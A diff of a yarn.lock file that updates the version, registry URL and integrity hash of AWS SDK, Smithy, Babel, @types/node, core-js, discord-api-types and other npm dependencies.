-  resolved "https://registry.yarnpkg.com/@aws-sdk/nested-clients/-/nested-clients-3.840.0.tgz#a4d167b358756838341fc7d282ee273c00259c49"
-  integrity sha512-LXYYo9+n4hRqnRSIMXLBb+BLz+cEmjMtTudwK1BF6Bn2RfdDv29KuyeDRrPCS3TwKl7ZKmXUmE9n5UuHAPfBpA==
+"@aws-sdk/nested-clients@3.846.0":
+  version "3.846.0"
+  resolved "https://registry.yarnpkg.com/@aws-sdk/nested-clients/-/nested-clients-3.846.0.tgz#c0389df04f04e6f4d124a605cc17b2b3f9a82faa"
+  integrity sha512-LCXPVtNQnkTuE8inPCtpfWN2raE/ndFBKf5OIbuHnC/0XYGOUl5q7VsJz471zJuN9FX3WMfopaFwmNc7cQNMpQ==
   dependencies:
     "@aws-crypto/sha256-browser" "5.2.0"
     "@aws-crypto/sha256-js" "5.2.0"
-    "@aws-sdk/core" "3.840.0"
+    "@aws-sdk/core" "3.846.0"
     "@aws-sdk/middleware-host-header" "3.840.0"
     "@aws-sdk/middleware-logger" "3.840.0"
     "@aws-sdk/middleware-recursion-detection" "3.840.0"
-    "@aws-sdk/middleware-user-agent" "3.840.0"
+    "@aws-sdk/middleware-user-agent" "3.846.0"
     "@aws-sdk/region-config-resolver" "3.840.0"
     "@aws-sdk/types" "3.840.0"
-    "@aws-sdk/util-endpoints" "3.840.0"
+    "@aws-sdk/util-endpoints" "3.845.0"
     "@aws-sdk/util-user-agent-browser" "3.840.0"
-    "@aws-sdk/util-user-agent-node" "3.840.0"
+    "@aws-sdk/util-user-agent-node" "3.846.0"
     "@smithy/config-resolver" "^4.1.4"
-    "@smithy/core" "^3.6.0"
-    "@smithy/fetch-http-handler" "^5.0.4"
+    "@smithy/core" "^3.7.0"
+    "@smithy/fetch-http-handler" "^5.1.0"
     "@smithy/hash-node" "^4.0.4"
     "@smithy/invalid-dependency" "^4.0.4"
     "@smithy/middleware-content-length" "^4.0.4"
-    "@smithy/middleware-endpoint" "^4.1.13"
-    "@smithy/middleware-retry" "^4.1.14"
+    "@smithy/middleware-endpoint" "^4.1.15"
+    "@smithy/middleware-retry" "^4.1.16"
     "@smithy/middleware-serde" "^4.0.8"
     "@smithy/middleware-stack" "^4.0.4"
     "@smithy/node-config-provider" "^4.1.3"
-    "@smithy/node-http-handler" "^4.0.6"
+    "@smithy/node-http-handler" "^4.1.0"
     "@smithy/protocol-http" "^5.1.2"
-    "@smithy/smithy-client" "^4.4.5"
+    "@smithy/smithy-client" "^4.4.7"
     "@smithy/types" "^4.3.1"
     "@smithy/url-parser" "^4.0.4"
     "@smithy/util-base64" "^4.0.0"
     "@smithy/util-body-length-browser" "^4.0.0"
     "@smithy/util-body-length-node" "^4.0.0"
-    "@smithy/util-defaults-mode-browser" "^4.0.21"
-    "@smithy/util-defaults-mode-node" "^4.0.21"
+    "@smithy/util-defaults-mode-browser" "^4.0.23"
+    "@smithy/util-defaults-mode-node" "^4.0.23"
     "@smithy/util-endpoints" "^3.0.6"
     "@smithy/util-middleware" "^4.0.4"
     "@smithy/util-retry" "^4.0.6"
@@ -394,13 +394,13 @@
     "@smithy/util-middleware" "^4.0.4"
     tslib "^2.6.2"
 
-"@aws-sdk/token-providers@3.840.0":
-  version "3.840.0"
-  resolved "https://registry.yarnpkg.com/@aws-sdk/token-providers/-/token-providers-3.840.0.tgz#4545a115bb2a9ed6e0b5631f7b97d10f8a5eb0dc"
-  integrity sha512-6BuTOLTXvmgwjK7ve7aTg9JaWFdM5UoMolLVPMyh3wTv9Ufalh8oklxYHUBIxsKkBGO2WiHXytveuxH6tAgTYg==
+"@aws-sdk/token-providers@3.846.0":
+  version "3.846.0"
+  resolved "https://registry.yarnpkg.com/@aws-sdk/token-providers/-/token-providers-3.846.0.tgz#36b499314c2ed754aa9372058a2a8c9e9054ad49"
+  integrity sha512-sGNk3xclK7xx+rIJZDJC4FNFqaSSqN0nSr+AdVdQ+/iKQKaUA6hixRbXaQ7I7M5mhqS6fMW1AsqVRywQq2BSMw==
   dependencies:
-    "@aws-sdk/core" "3.840.0"
-    "@aws-sdk/nested-clients" "3.840.0"
+    "@aws-sdk/core" "3.846.0"
+    "@aws-sdk/nested-clients" "3.846.0"
     "@aws-sdk/types" "3.840.0"
     "@smithy/property-provider" "^4.0.4"
     "@smithy/shared-ini-file-loader" "^4.0.4"
@@ -415,13 +415,14 @@
     "@smithy/types" "^4.3.1"
     tslib "^2.6.2"
 
-"@aws-sdk/util-endpoints@3.840.0":
-  version "3.840.0"
-  resolved "https://registry.yarnpkg.com/@aws-sdk/util-endpoints/-/util-endpoints-3.840.0.tgz#7ba508b23a62ba57cf22084d0a40f74b18a2a2d0"
-  integrity sha512-eqE9ROdg/Kk0rj3poutyRCFauPDXIf/WSvCqFiRDDVi6QOnCv/M0g2XW8/jSvkJlOyaXkNCptapIp6BeeFFGYw==
+"@aws-sdk/util-endpoints@3.845.0":
+  version "3.845.0"
+  resolved "https://registry.yarnpkg.com/@aws-sdk/util-endpoints/-/util-endpoints-3.845.0.tgz#a4a303502b79a9868da2f6a17f81d24a34f10974"
+  integrity sha512-MBmOf0Pb4q6xs9V7jXT1+qciW2965yvaoZUlUUnxUEoX6zxWROeIu/gttASc4vSjOHr/+64hmFkxjeBUF37FJA==
   dependencies:
     "@aws-sdk/types" "3.840.0"
     "@smithy/types" "^4.3.1"
+    "@smithy/url-parser" "^4.0.4"
     "@smithy/util-endpoints" "^3.0.6"
     tslib "^2.6.2"
 
@@ -442,12 +443,12 @@
     bowser "^2.11.0"
     tslib "^2.6.2"
 
-"@aws-sdk/util-user-agent-node@3.840.0":
-  version "3.840.0"
-  resolved "https://registry.yarnpkg.com/@aws-sdk/util-user-agent-node/-/util-user-agent-node-3.840.0.tgz#bf959b219012688f4bf32f462e4e411666245e4c"
-  integrity sha512-Fy5JUEDQU1tPm2Yw/YqRYYc27W5+QD/J4mYvQvdWjUGZLB5q3eLFMGD35Uc28ZFoGMufPr4OCxK/bRfWROBRHQ==
+"@aws-sdk/util-user-agent-node@3.846.0":
+  version "3.846.0"
+  resolved "https://registry.yarnpkg.com/@aws-sdk/util-user-agent-node/-/util-user-agent-node-3.846.0.tgz#05ab54d561bcbe3888d88b500ef62a7f41acac8c"
+  integrity sha512-MXYXCplw76xe8A9ejVaIru6Carum/2LQbVtNHsIa4h0TlafLdfulywsoMWL1F53Y9XxQSeOKyyqDKLNOgRVimw==
   dependencies:
-    "@aws-sdk/middleware-user-agent" "3.840.0"
+    "@aws-sdk/middleware-user-agent" "3.846.0"
     "@aws-sdk/types" "3.840.0"
     "@smithy/node-config-provider" "^4.1.3"
     "@smithy/types" "^4.3.1"
@@ -662,9 +663,9 @@
     debug "^4.3.1"
 
 "@babel/types@^7.27.1", "@babel/types@^7.27.3", "@babel/types@^7.27.6", "@babel/types@^7.28.0", "@babel/types@^7.4.0":
-  version "7.28.0"
-  resolved "https://registry.yarnpkg.com/@babel/types/-/types-7.28.0.tgz#2fd0159a6dc7353933920c43136335a9b264d950"
-  integrity sha512-jYnje+JyZG5YThjHiF28oT4SIZLnYOcSBb6+SDaFIyzDVSkXQmQQYclJ2R+YxcdmK0AX6x1E5OQNtuh3jHDrUg==
+  version "7.28.1"
+  resolved "https://registry.yarnpkg.com/@babel/types/-/types-7.28.1.tgz#2aaf3c10b31ba03a77ac84f52b3912a0edef4cf9"
+  integrity sha512-x0LvFTekgSX+83TI28Y9wYPUfzrnl2aT5+5QLnO6v7mSJYtEEevuDRN0F0uSHRk1G1IWZC43o00Y0xDDrpBGPQ==
   dependencies:
     "@babel/helper-string-parser" "^7.27.1"
     "@babel/helper-validator-identifier" "^7.27.1"
@@ -854,9 +855,9 @@
   integrity sha512-k2Ty1JcVojjJFwrg/ThKi2ujJ7XNLYaFGNB/bWT9wGR+oSMJHMa5w+CUq6p/pVrKeNNgA7pCqEcjSnHVoqJQFw==
 
 "@google-cloud/firestore@^7.7.0":
-  version "7.11.2"
-  resolved "https://registry.yarnpkg.com/@google-cloud/firestore/-/firestore-7.11.2.tgz#412b453a85dec3b568239f6ae49fd5e118820cc0"
-  integrity sha512-BQCSbjWJndCZ6bj8BSGhi4EM1TDFs9HgZXXsJ7d2kEPo+x64fB3OnQE8ffmn3vWADqeAmYBPaMPF/k6PHETXKA==
+  version "7.11.3"
+  resolved "https://registry.yarnpkg.com/@google-cloud/firestore/-/firestore-7.11.3.tgz#87cc3a58c5c297d6c9ca0e486fbf16b403585721"
+  integrity sha512-qsM3/WHpawF07SRVvEJJVRwhYzM7o9qtuksyuqnrMig6fxIrwWnsezECWsG/D5TyYru51Fv5c/RTqNDQ2yU+4w==
   dependencies:
     "@opentelemetry/api" "^1.3.0"
     fast-deep-equal "^3.1.1"
@@ -1239,10 +1240,10 @@
     "@smithy/util-middleware" "^4.0.4"
     tslib "^2.6.2"
 
-"@smithy/core@^3.6.0":
-  version "3.6.0"
-  resolved "https://registry.yarnpkg.com/@smithy/core/-/core-3.6.0.tgz#be02f2a4a56ba83d37298454a0bddc89cbad510b"
-  integrity sha512-Pgvfb+TQ4wUNLyHzvgCP4aYZMh16y7GcfF59oirRHcgGgkH1e/s9C0nv/v3WP+Quymyr5je71HeFQCwh+44XLg==
+"@smithy/core@^3.7.0":
+  version "3.7.0"
+  resolved "https://registry.yarnpkg.com/@smithy/core/-/core-3.7.0.tgz#b3a98ccc48b1c408dfdb986aaa22d6affffd7795"
+  integrity sha512-7ov8hu/4j0uPZv8b27oeOFtIBtlFmM3ibrPv/Omx1uUdoXvcpJ00U+H/OWWC/keAguLlcqwtyL2/jTlSnApgNQ==
   dependencies:
     "@smithy/middleware-serde" "^4.0.8"
     "@smithy/protocol-http" "^5.1.2"
@@ -1250,7 +1251,7 @@
     "@smithy/util-base64" "^4.0.0"
     "@smithy/util-body-length-browser" "^4.0.0"
     "@smithy/util-middleware" "^4.0.4"
-    "@smithy/util-stream" "^4.2.2"
+    "@smithy/util-stream" "^4.2.3"
     "@smithy/util-utf8" "^4.0.0"
     tslib "^2.6.2"
 
@@ -1265,10 +1266,10 @@
     "@smithy/url-parser" "^4.0.4"
     tslib "^2.6.2"
 
-"@smithy/fetch-http-handler@^5.0.4":
-  version "5.0.4"
-  resolved "https://registry.yarnpkg.com/@smithy/fetch-http-handler/-/fetch-http-handler-5.0.4.tgz#c68601b4676787e049b5d464d5f4b825dbb44013"
-  integrity sha512-AMtBR5pHppYMVD7z7G+OlHHAcgAN7v0kVKEpHuTO4Gb199Gowh0taYi9oDStFeUhetkeP55JLSVlTW1n9rFtUw==
+"@smithy/fetch-http-handler@^5.1.0":
+  version "5.1.0"
+  resolved "https://registry.yarnpkg.com/@smithy/fetch-http-handler/-/fetch-http-handler-5.1.0.tgz#387abd9ec6c8ff0af33b268c0f6ccb289c1b1563"
+  integrity sha512-mADw7MS0bYe2OGKkHYMaqarOXuDwRbO6ArD91XhHcl2ynjGCFF+hvqf0LyQcYxkA1zaWjefSkU7Ne9mqgApSgQ==
   dependencies:
     "@smithy/protocol-http" "^5.1.2"
     "@smithy/querystring-builder" "^4.0.4"
@@ -1317,12 +1318,12 @@
     "@smithy/types" "^4.3.1"
     tslib "^2.6.2"
 
-"@smithy/middleware-endpoint@^4.1.13":
-  version "4.1.13"
-  resolved "https://registry.yarnpkg.com/@smithy/middleware-endpoint/-/middleware-endpoint-4.1.13.tgz#7d5b5f8f61600270bd8c59aabf311c99b9127aba"
-  integrity sha512-xg3EHV/Q5ZdAO5b0UiIMj3RIOCobuS40pBBODguUDVdko6YK6QIzCVRrHTogVuEKglBWqWenRnZ71iZnLL3ZAQ==
+"@smithy/middleware-endpoint@^4.1.15":
+  version "4.1.15"
+  resolved "https://registry.yarnpkg.com/@smithy/middleware-endpoint/-/middleware-endpoint-4.1.15.tgz#31d93e6f33bbe2dbd120bda0833bce35cf960c39"
+  integrity sha512-L2M0oz+r6Wv0KZ90MgClXmWkV7G72519Hd5/+K5i3gQMu4WNQykh7ERr58WT3q60dd9NqHSMc3/bAK0FsFg3Fw==
   dependencies:
-    "@smithy/core" "^3.6.0"
+    "@smithy/core" "^3.7.0"
     "@smithy/middleware-serde" "^4.0.8"
     "@smithy/node-config-provider" "^4.1.3"
     "@smithy/shared-ini-file-loader" "^4.0.4"
@@ -1331,15 +1332,15 @@
     "@smithy/util-middleware" "^4.0.4"
     tslib "^2.6.2"
 
-"@smithy/middleware-retry@^4.1.14":
-  version "4.1.14"
-  resolved "https://registry.yarnpkg.com/@smithy/middleware-retry/-/middleware-retry-4.1.14.tgz#53ce619463a1ce4b95025aaafdf51369ef893196"
-  integrity sha512-eoXaLlDGpKvdmvt+YBfRXE7HmIEtFF+DJCbTPwuLunP0YUnrydl+C4tS+vEM0+nyxXrX3PSUFqC+lP1+EHB1Tw==
+"@smithy/middleware-retry@^4.1.16":
+  version "4.1.16"
+  resolved "https://registry.yarnpkg.com/@smithy/middleware-retry/-/middleware-retry-4.1.16.tgz#0e044d0da18e7019052ac61ec02a2956437376fd"
+  integrity sha512-PpPhMpC6U1fLW0evKnC8gJtmobBYn0oi4RrIKGhN1a86t6XgVEK+Vb9C8dh5PPXb3YDr8lE6aYKh1hd3OikmWw==
   dependencies:
     "@smithy/node-config-provider" "^4.1.3"
     "@smithy/protocol-http" "^5.1.2"
     "@smithy/service-error-classification" "^4.0.6"
-    "@smithy/smithy-client" "^4.4.5"
+    "@smithy/smithy-client" "^4.4.7"
     "@smithy/types" "^4.3.1"
     "@smithy/util-middleware" "^4.0.4"
     "@smithy/util-retry" "^4.0.6"
@@ -1373,10 +1374,10 @@
     "@smithy/types" "^4.3.1"
     tslib "^2.6.2"
 
-"@smithy/node-http-handler@^4.0.6":
-  version "4.0.6"
-  resolved "https://registry.yarnpkg.com/@smithy/node-http-handler/-/node-http-handler-4.0.6.tgz#a022da499ba3af4b6b4c815104fde973c0eccc40"
-  integrity sha512-NqbmSz7AW2rvw4kXhKGrYTiJVDHnMsFnX4i+/FzcZAfbOBauPYs2ekuECkSbtqaxETLLTu9Rl/ex6+I2BKErPA==
+"@smithy/node-http-handler@^4.1.0":
+  version "4.1.0"
+  resolved "https://registry.yarnpkg.com/@smithy/node-http-handler/-/node-http-handler-4.1.0.tgz#6b528cd0da0c35755b34afba207b7db972b0eb92"
+  integrity sha512-vqfSiHz2v8b3TTTrdXi03vNz1KLYYS3bhHCDv36FYDqxT7jvTll1mMnCrkD+gOvgwybuunh/2VmvOMqwBegxEg==
   dependencies:
     "@smithy/abort-controller" "^4.0.4"
     "@smithy/protocol-http" "^5.1.2"
@@ -1446,17 +1447,17 @@
     "@smithy/util-utf8" "^4.0.0"
     tslib "^2.6.2"
 
-"@smithy/smithy-client@^4.4.5":
-  version "4.4.5"
-  resolved "https://registry.yarnpkg.com/@smithy/smithy-client/-/smithy-client-4.4.5.tgz#1c736618f3c4910880cc6862a5826348c1b70d5d"
-  integrity sha512-+lynZjGuUFJaMdDYSTMnP/uPBBXXukVfrJlP+1U/Dp5SFTEI++w6NMga8DjOENxecOF71V9Z2DllaVDYRnGlkg==
+"@smithy/smithy-client@^4.4.7":
+  version "4.4.7"
+  resolved "https://registry.yarnpkg.com/@smithy/smithy-client/-/smithy-client-4.4.7.tgz#68e9f7785179060896ed51d52cd4f4cfc1cbffb5"
+  integrity sha512-x+MxBNOcG7rY9i5QsbdgvvRJngKKvUJrbU5R5bT66PTH3e6htSupJ4Q+kJ3E7t6q854jyl57acjpPi6qG1OY5g==
   dependencies:
-    "@smithy/core" "^3.6.0"
-    "@smithy/middleware-endpoint" "^4.1.13"
+    "@smithy/core" "^3.7.0"
+    "@smithy/middleware-endpoint" "^4.1.15"
     "@smithy/middleware-stack" "^4.0.4"
     "@smithy/protocol-http" "^5.1.2"
     "@smithy/types" "^4.3.1"
-    "@smithy/util-stream" "^4.2.2"
+    "@smithy/util-stream" "^4.2.3"
     tslib "^2.6.2"
 
 "@smithy/types@^4.3.1":
@@ -1521,27 +1522,27 @@
   dependencies:
     tslib "^2.6.2"
 
-"@smithy/util-defaults-mode-browser@^4.0.21":
-  version "4.0.21"
-  resolved "https://registry.yarnpkg.com/@smithy/util-defaults-mode-browser/-/util-defaults-mode-browser-4.0.21.tgz#47895e42d64060d2a7f803a443fd160d0a329d83"
-  integrity sha512-wM0jhTytgXu3wzJoIqpbBAG5U6BwiubZ6QKzSbP7/VbmF1v96xlAbX2Am/mz0Zep0NLvLh84JT0tuZnk3wmYQA==
+"@smithy/util-defaults-mode-browser@^4.0.23":
+  version "4.0.23"
+  resolved "https://registry.yarnpkg.com/@smithy/util-defaults-mode-browser/-/util-defaults-mode-browser-4.0.23.tgz#74887922f87da4f4acbf523b5c0271f11af5997d"
+  integrity sha512-NqRi6VvEIwpJ+KSdqI85+HH46H7uVoNqVTs2QO7p1YKnS7k8VZnunJj8R5KdmmVnTojkaL1OMPyZC8uR5F7fSg==
   dependencies:
     "@smithy/property-provider" "^4.0.4"
-    "@smithy/smithy-client" "^4.4.5"
+    "@smithy/smithy-client" "^4.4.7"
     "@smithy/types" "^4.3.1"
     bowser "^2.11.0"
     tslib "^2.6.2"
 
-"@smithy/util-defaults-mode-node@^4.0.21":
-  version "4.0.21"
-  resolved "https://registry.yarnpkg.com/@smithy/util-defaults-mode-node/-/util-defaults-mode-node-4.0.21.tgz#4682143fbfb0a4c6e08a6151f13af97018e6950e"
-  integrity sha512-/F34zkoU0GzpUgLJydHY8Rxu9lBn8xQC/s/0M0U9lLBkYbA1htaAFjWYJzpzsbXPuri5D1H8gjp2jBum05qBrA==
+"@smithy/util-defaults-mode-node@^4.0.23":
+  version "4.0.23"
+  resolved "https://registry.yarnpkg.com/@smithy/util-defaults-mode-node/-/util-defaults-mode-node-4.0.23.tgz#dd22609289183fe3d722f9a1601b6cc618f9efa7"
+  integrity sha512-NE9NtEVigFa+HHJ5bBeQT7KF3KiltW880CLN9TnWWL55akeou3ziRAHO22QSUPgPZ/nqMfPXi/LGMQ6xQvXPNQ==
   dependencies:
     "@smithy/config-resolver" "^4.1.4"
     "@smithy/credential-provider-imds" "^4.0.6"
     "@smithy/node-config-provider" "^4.1.3"
     "@smithy/property-provider" "^4.0.4"
-    "@smithy/smithy-client" "^4.4.5"
+    "@smithy/smithy-client" "^4.4.7"
     "@smithy/types" "^4.3.1"
     tslib "^2.6.2"
 
@@ -1578,13 +1579,13 @@
     "@smithy/types" "^4.3.1"
     tslib "^2.6.2"
 
-"@smithy/util-stream@^4.2.2":
-  version "4.2.2"
-  resolved "https://registry.yarnpkg.com/@smithy/util-stream/-/util-stream-4.2.2.tgz#beeb1edf690db9b7d7983f46ca4fb66e22253608"
-  integrity sha512-aI+GLi7MJoVxg24/3J1ipwLoYzgkB4kUfogZfnslcYlynj3xsQ0e7vk4TnTro9hhsS5PvX1mwmkRqqHQjwcU7w==
+"@smithy/util-stream@^4.2.3":
+  version "4.2.3"
+  resolved "https://registry.yarnpkg.com/@smithy/util-stream/-/util-stream-4.2.3.tgz#7980fb94dbee96301b0b2610de8ae1700c7daab1"
+  integrity sha512-cQn412DWHHFNKrQfbHY8vSFI3nTROY1aIKji9N0tpp8gUABRilr7wdf8fqBbSlXresobM+tQFNk6I+0LXK/YZg==
   dependencies:
-    "@smithy/fetch-http-handler" "^5.0.4"
-    "@smithy/node-http-handler" "^4.0.6"
+    "@smithy/fetch-http-handler" "^5.1.0"
+    "@smithy/node-http-handler" "^4.1.0"
     "@smithy/types" "^4.3.1"
     "@smithy/util-base64" "^4.0.0"
     "@smithy/util-buffer-from" "^4.0.0"
@@ -1711,9 +1712,9 @@
   integrity sha512-GsCCIZDE/p3i96vtEqx+7dBUGXrc7zeSK3wwPHIaRThS+9OhWIXRqzs4d6k1SVU8g91DrNRWxWUGhp5KXQb2VA==
 
 "@types/node@*", "@types/node@>=13.7.0":
-  version "24.0.10"
-  resolved "https://registry.yarnpkg.com/@types/node/-/node-24.0.10.tgz#f65a169779bf0d70203183a1890be7bee8ca2ddb"
-  integrity sha512-ENHwaH+JIRTDIEEbDK6QSQntAYGtbvdDXnMXnZaZ6k13Du1dPMmprkEHIL7ok2Wl2aZevetwTAb5S+7yIF+enA==
+  version "24.0.14"
+  resolved "https://registry.yarnpkg.com/@types/node/-/node-24.0.14.tgz#6e3d4fb6d858c48c69707394e1a0e08ce1ecc1bc"
+  integrity sha512-4zXMWD91vBLGRtHK3YbIoFMia+1nqEz72coM42C5ETjnNCa/heoj7NT1G67iAfOqMmcfhuCZ4uNpyz8EjlAejw==
   dependencies:
     undici-types "~7.8.0"
 
@@ -1723,9 +1724,9 @@
   integrity sha512-fAtCfv4jJg+ExtXhvCkCqUKZ+4ok/JQk01qDKhL5BDDoS3AxKXhV5/MAVUZyQnSEd2GT92fkgZl0pz0Q0AzcIQ==
 
 "@types/node@^22.0.1", "@types/node@^22.5.4":
-  version "22.16.0"
-  resolved "https://registry.yarnpkg.com/@types/node/-/node-22.16.0.tgz#352bc4951fd089df32f2b6412a61d339b67ded8b"
-  integrity sha512-B2egV9wALML1JCpv3VQoQ+yesQKAmNMBIAY7OteVrikcOcAkWm+dGL6qpeCktPjAv6N1JLnhbNiqS35UpFyBsQ==
+  version "22.16.4"
+  resolved "https://registry.yarnpkg.com/@types/node/-/node-22.16.4.tgz#00c763ad4d4e45f62d5a270c040ae1a799c7e38a"
+  integrity sha512-PYRhNtZdm2wH/NT2k/oAJ6/f2VD2N2Dag0lGlx2vWgMSJXGNmlce5MiTQzoWAiIJtso30mjnfQCOKVH+kAQC/g==
   dependencies:
     undici-types "~6.21.0"
 
@@ -2133,9 +2134,9 @@ agent-base@6, agent-base@^6.0.2:
     debug "4"
 
 agent-base@^7.0.2, agent-base@^7.1.2:
-  version "7.1.3"
-  resolved "https://registry.yarnpkg.com/agent-base/-/agent-base-7.1.3.tgz#29435eb821bc4194633a5b89e5bc4703bafc25a1"
-  integrity sha512-jRR5wdylq8CkOe6hei19GGZnxM6rBGwFl3Bg0YItGDimvjGtAvdZk4Pu6Cl4u4Igsws4a1fd1Vq3ezrhn4KmFw==
+  version "7.1.4"
+  resolved "https://registry.yarnpkg.com/agent-base/-/agent-base-7.1.4.tgz#e3cd76d4c548ee895d3c3fd8dc1f6c5b9032e7a8"
+  integrity sha512-MnA+YT8fwfJPgBx3m60MNqakm30XOkyIoH1y6huTQvC0PwZG7ki8NacLBcrPbNoo8vEZy7Jpuk7+jMO+CUovTQ==
 
 agentkeepalive@^4.1.3:
   version "4.6.0"
@@ -2227,9 +2228,9 @@ append-transform@^1.0.0:
     default-require-extensions "^2.0.0"
 
 "aproba@^1.0.3 || ^2.0.0":
-  version "2.0.0"
-  resolved "https://registry.yarnpkg.com/aproba/-/aproba-2.0.0.tgz#52520b8ae5b569215b354efc0caa3fe1e45a8adc"
-  integrity sha512-lYe4Gx7QT+MKGbDsA+Z+he/Wtef0BiwDOlK/XkBrdfsh9J/jPPXbX0tE9x9cl27Tmu5gg3QUbUrQYa/y+KOHPQ==
+  version "2.1.0"
+  resolved "https://registry.yarnpkg.com/aproba/-/aproba-2.1.0.tgz#75500a190313d95c64e871e7e4284c6ac219f0b1"
+  integrity sha512-tLIEcj5GuR2RSTnxNKdkK0dJ/GrC7P38sUkiDmDuHfsHmbagTFAxDVIBltoklXEVIQ/f14IL8IMJ5pn9Hez1Ew==
 
 archiver-utils@^5.0.0, archiver-utils@^5.0.1, archiver-utils@^5.0.2:
   version "5.0.2"
@@ -2494,9 +2495,9 @@ balanced-match@^1.0.0:
   integrity sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==
 
 bare-events@^2.2.0:
-  version "2.5.4"
-  resolved "https://registry.yarnpkg.com/bare-events/-/bare-events-2.5.4.tgz#16143d435e1ed9eafd1ab85f12b89b3357a41745"
-  integrity sha512-+gFfDkR8pj4/TrWCGUGWmJIkBwuxPS5F+a5yWjOHQt2hHvNZd5YLzadjmDUtFmMM4y429bnKLa8bYBMHcYdnQA==
+  version "2.6.0"
+  resolved "https://registry.yarnpkg.com/bare-events/-/bare-events-2.6.0.tgz#11d9506da109e363a2f3af050fbb005ccdb3ee8f"
+  integrity sha512-EKZ5BTXYExaNqi3I3f9RtEsaI/xBSGjE0XZCZilPzFAV/goswFHuPd9jEZlPIZ/iNZJwDSao9qRiScySz7MbQg==
 
 base-64@^0.1.0:
   version "0.1.0"
@@ -2536,9 +2537,9 @@ big-integer@^1.6.48:
   integrity sha512-QxD8cf2eVqJOOz63z6JIN9BzvVs/dlySa5HGSBH5xtR8dPteIRQnBxxKqkNTiT6jbDTF6jAfrd4oMcND9RGbQg==
 
 bignumber.js@^9.0.0, bignumber.js@^9.0.1:
-  version "9.3.0"
-  resolved "https://registry.yarnpkg.com/bignumber.js/-/bignumber.js-9.3.0.tgz#bdba7e2a4c1a2eba08290e8dcad4f36393c92acd"
-  integrity sha512-EM7aMFTXbptt/wZdMlBv2t8IViwQL+h6SLHosp8Yf0dqJMTnY6iL32opnAB6kAdL0SZPuvcAzFr31o0c/R3/RA==
+  version "9.3.1"
+  resolved "https://registry.yarnpkg.com/bignumber.js/-/bignumber.js-9.3.1.tgz#759c5aaddf2ffdc4f154f7b493e1c8770f88c4d7"
+  integrity sha512-Ko0uX15oIUS7wJ3Rb30Fs6SkVbLmPBAKdlm7q9+ak9bbIeFf0MwuBsQV6z7+X768/cHsfg+WlysDWJcmthjsjQ==
 
 binary-extensions@^2.0.0:
   version "2.3.0"
@@ -2825,9 +2826,9 @@ camelcase@^5.0.0:
   integrity sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg==
 
 caniuse-lite@^1.0.30001726:
-  version "1.0.30001726"
-  resolved "https://registry.yarnpkg.com/caniuse-lite/-/caniuse-lite-1.0.30001726.tgz#a15bd87d5a4bf01f6b6f70ae7c97fdfd28b5ae47"
-  integrity sha512-VQAUIUzBiZ/UnlM28fSp2CRF3ivUn1BWEvxMcVTNwpw91Py1pGbPIyIKtd+tzct9C3ouceCVdGAXxZOpZAsgdw==
+  version "1.0.30001727"
+  resolved "https://registry.yarnpkg.com/caniuse-lite/-/caniuse-lite-1.0.30001727.tgz#22e9706422ad37aa50556af8c10e40e2d93a8b85"
+  integrity sha512-pB68nIHmbN6L/4C6MH1DokyR3bYqFwjaSs/sWDHGj4CTcFtQUQMuJftVwWkXq7mNWOybD3KhUv3oWHoGxgP14Q==
 
 caseless@~0.12.0:
   version "0.12.0"
@@ -3141,9 +3142,9 @@ core-js@^2.4.0:
   integrity sha512-Kb2wC0fvsWfQrgk8HU5lW6U/Lcs8+9aaYcy4ZFc6DDlo4nZ7n70dEgE5rtR0oG6ufKDUnrwfWL1mXR5ljDatrQ==
 
 core-js@^3.30.2:
-  version "3.43.0"
-  resolved "https://registry.yarnpkg.com/core-js/-/core-js-3.43.0.tgz#f7258b156523208167df35dea0cfd6b6ecd4ee88"
-  integrity sha512-N6wEbTTZSYOY2rYAn85CuvWWkCK6QweMn7/4Nr3w+gDBeBhk/x4EJeY6FPo4QzDoJZxVTv8U7CMvgWk6pOHHqA==
+  version "3.44.0"
+  resolved "https://registry.yarnpkg.com/core-js/-/core-js-3.44.0.tgz#db4fd4fa07933c1d6898c8b112a1119a9336e959"
+  integrity sha512-aFCtd4l6GvAXwVEh3XbbVqJGHDJt0OZRa+5ePGx3LLwi12WfexqQxcsohb2wgsa/92xtl19Hd66G/L+TaAxDMw==
 
 core-util-is@1.0.2:
   version "1.0.2"
@@ -3339,9 +3340,9 @@ decamelize@^1.2.0:
   integrity sha512-z2S+W9X73hAUUki+N+9Za2lBlun89zigOyGrsax+KUQ6wKW4ZoWpEYBkGhQjwAjjDCkWxhY0VKEhk8wzY7F5cA==
 
 decimal.js@^10.4.3:
-  version "10.5.0"
-  resolved "https://registry.yarnpkg.com/decimal.js/-/decimal.js-10.5.0.tgz#0f371c7cf6c4898ce0afb09836db73cd82010f22"
-  integrity sha512-8vDa8Qxvr/+d94hSh5P3IJwI5t8/c0KsMp+g8bNw9cY2icONa5aPfvKeieW1WlG0WQYwwhJ7mjui2xtiePQSXw==
+  version "10.6.0"
+  resolved "https://registry.yarnpkg.com/decimal.js/-/decimal.js-10.6.0.tgz#e649a43e3ab953a72192ff5983865e509f37ed9a"
+  integrity sha512-YpgQiITW3JXGntzdUmyUR1V812Hn8T1YVXhCu+wO3OpS4eU9l4YdD3qjyiKdV6mvV29zapkMeD390UVEf2lkUg==
 
 decode-uri-component@^0.2.2:
   version "0.2.2"
@@ -3441,9 +3442,9 @@ discord-api-types@^0.37.12, discord-api-types@^0.37.41:
   integrity sha512-7xpNK0EiWjjDFp2nAhHXezE4OUWm7s1zhc/UXXN6hnFFU8dfoPHgV0Hx0RPiCa3ILRpdeh152icc68DGCyXYIw==
 
 discord-api-types@^0.38.1:
-  version "0.38.15"
-  resolved "https://registry.yarnpkg.com/discord-api-types/-/discord-api-types-0.38.15.tgz#5c5e14c7049fa974096cb8172d0ec29dc5f880a6"
-  integrity sha512-RX3skyRH7p6BlHOW62ztdnIc87+wv4TEJEURMir5k5BbRJ10wK1MCqFEO6USHTol3gkiHLE6wWoHhNQ2pqB4AA==
+  version "0.38.16"
+  resolved "https://registry.yarnpkg.com/discord-api-types/-/discord-api-types-0.38.16.tgz#15e034ae99f5bf0bee5a97d411d675e078e38ad8"
+  integrity sha512-Cz42dC5WqJD17Yk0bRy7YLTJmh3NKo4FGpxZuA8MHqT0RPxKSrll5YhlODZ2z5DiEV/gpHMeTSrTFTWpSXjT1Q==
 
 discord.js@14.6.0:
   version "14.6.0"
